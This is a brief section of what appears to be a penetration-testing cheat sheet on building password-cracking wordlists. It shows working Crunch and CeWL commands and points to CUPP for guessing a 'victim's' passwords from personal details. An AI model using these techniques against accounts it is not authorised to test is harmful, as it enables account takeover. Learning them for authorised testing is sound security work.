## **Create your own Dictionaries**

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

### Crunch

```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```

### Cewl

```bash
cewl example.com -m 5 -w words.txt
```

### [CUPP](https://github.com/Mebus/cupp)

Generate passwords based on your knowledge of the victim \(names, dates...\)
